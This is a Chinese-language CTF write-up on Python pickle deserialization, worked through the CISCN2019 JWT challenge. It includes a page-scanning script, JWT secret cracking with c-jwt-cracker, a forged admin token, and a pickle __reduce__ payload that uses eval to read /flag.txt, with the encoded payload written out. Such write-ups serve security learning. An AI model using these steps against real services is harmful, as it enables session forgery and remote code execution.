原理—反序列化魔术方法—调用理解
Python反序列化相关函数使用:
pickle.dump(obj,file)
:将对象序列化后保存到文件;
pickle.load(file)
:读取文件,将文件中的序列化内容反序列化为对象;
pickle.dumps(obj)
:将对象序列化为字符串格式的字节流,序列化;
pickle.loads(byte_obj)
:将字符串格式的字节流反序列化为对象,反序列化;
其他序列化相关函数:marshal
、PyYAML
、shelve
、PIL
、unzip
。
魔术方法:
__reduce__()
:反序列化时调用;
__reduce_ex__()
:反序列化时调用;
__setstate__()
:反序列化时调用;
__getstate__()
:序列化时调用。
示例:
CISCN2019华北—JWT&反序列化
首先,根据提示要找到lv6
,这里使用python脚本爆破存在lv6
的页面
import requests
for i in range(1,1000):
url = "http://05550b0e-2914-4f99-97c5-4f0ab9a52c06.node5.buuoj.cn:81/shop?page={}"
url = url.format(i)
r = requests.get(url) # 访问网址
if "lv6.png" in r.text and r.status_code == 200:
print("find it:" ,url)
break
else:
print(str(i)+"页|no")
结果为第181页~
找到lv6,结算且抓取结算的数据包。
这里直接修改discount
的值,它会显示不是admin
用户,因此,需要将cookie改为admin
的cookie,这样就可以购买lv6了。在数据包cookie栏中,看到JWT
字符串,说明使用JWT进行身份验证。
身份认证JWT
- 键值逻辑:使用键名键值进行对比验证错误
- JWT攻击:1. 签名没验证(空加密);2. 爆破密匙JWT爆破脚本:c-jwt-cracker;3. KID利用
参考:JWT原理及常见攻击方式
使用JWT官网对cookie中的JWT字符串解码,可以看到username为注册时候的用户名。因此,此处后端是使用JWT进行身份验证,来判断访问者的身份。使用JWT进行验证时,不能简单的将username
的值改为admin
,还需要知道密匙。
这里使用c-jwt-cracker对密匙进行爆破。可以得到密匙为1Kun
。
docker build . -t jwtcrack //创建docker image
docker run -it --rm jwtcrack <JWT token> // 爆破密匙
修改username
值,加上密匙,会自动生成新的JWT Token。
抓取结算
数据包,更改折扣值和cookie,即可成功购买~
右键查看源代码,下载网站源码。
在源码中发现了pickle.loads
(将字符串格式的字节流反序列化为对象,反序列化操作)
访问/b1g_m4mber
目录,就会调用AdminHandler
。
右键源代码,发现点击一键成为大会员
,会访问/b1g_m4mber
,并提交一个POST表单,将become
的值改为paylaod,即可获取flag。
构造paylaod:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a) //源代码里会解码
print a
//payload
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
在构造python序列化payload时,一定要注意目标python版本。确定pthon版本的最简单方法就是:python2和python3的
# python 2
print 'hi'
# python 3
print('hi')
python自动化审计工具:bandit